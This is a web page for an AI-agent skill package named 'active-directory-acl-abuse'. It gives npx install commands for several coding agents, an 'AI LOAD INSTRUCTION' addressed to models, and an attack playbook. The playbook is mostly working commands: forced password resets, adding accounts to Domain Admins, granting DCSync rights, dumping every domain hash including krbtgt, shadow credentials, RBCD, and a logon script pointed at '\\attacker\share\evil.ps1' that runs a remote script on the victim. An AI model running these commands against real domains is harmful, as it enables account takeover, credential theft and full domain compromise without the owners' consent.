401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
Claude Code
$ npx -y skills add yaklang/hack-skills --skill active-directory-acl-abuse --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill active-directory-acl-abuse -a windsurf -y
name: active-directory-acl-abuse description: >- Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
> **AI LOAD INSTRUCTION**: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
Before going deep, consider loading:
Also load [BLOODHOUND_PATHS.md](./BLOODHOUND_PATHS.md) when you need:
---
# SharpHound (from Windows, domain-joined) SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip # bloodhound-python (from Linux) bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP # Specific collection methods SharpHound.exe -c DCOnly # Fastest — only DC queries SharpHound.exe -c Session # Session data only (run periodically) SharpHound.exe -c All,GPOLocalGroup # Include GPO analysis
---
| ACE | Effect on Users | Effect on Groups | Effect on Computers | |---|---|---|---| | **GenericAll** | Change password, set SPN, modify attributes | Add members | RBCD, LAPS read, all attributes | | **GenericWrite** | Set SPN, modify attributes, shadow creds | Add members | RBCD, shadow credentials | | **WriteDACL** | Grant yourself any permission | Same | Same | | **WriteOwner** | Take ownership → then WriteDACL | Same | Same | | **ForceChangePassword** | Reset password without knowing old | N/A | N/A | | **AddMember** | N/A | Add self/others to group | N/A | | **AllExtendedRights** | Force change password, read LAPS | N/A | Read LAPS, BitLocker keys | | **ReadLAPSPassword** | N/A | N/A | Read local admin password | | **WriteSPN** | Set SPN → targeted kerberoast | N/A | N/A |
---
# Option 1: Force change password
net user targetuser NewP@ss123 /domain
# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN
# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}# RBCD attack rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC # Shadow Credentials on computer pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
# Grant DCSync rights to yourself Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync # Impacket dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
# Step 1: Take ownership Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv # Step 2: Grant WriteDACL to yourself (as owner) Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All # Step 3: Now exploit as GenericAll
# Impacket rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'" # PowerView Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force) # net rpc net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
# Add self to privileged group Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv # Impacket net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
---
The principal needs **both** of these replication rights on the domain object:
# Impacket — dump all hashes secretsdump.py DOMAIN/user:password@DC01 -just-dc # Specific account only secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.com /user:krbtgt lsadump::dcsync /domain:domain.com /all /csv # Impacket with Kerberos auth export KRB5CCNAME=admin.ccache secretsdump.py -k -no-pass DC01.domain.com -just-dc
---
Write `msDS-KeyCredentialLink` on target → generate certificate → authenticate via PKI
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView…
Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags,…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…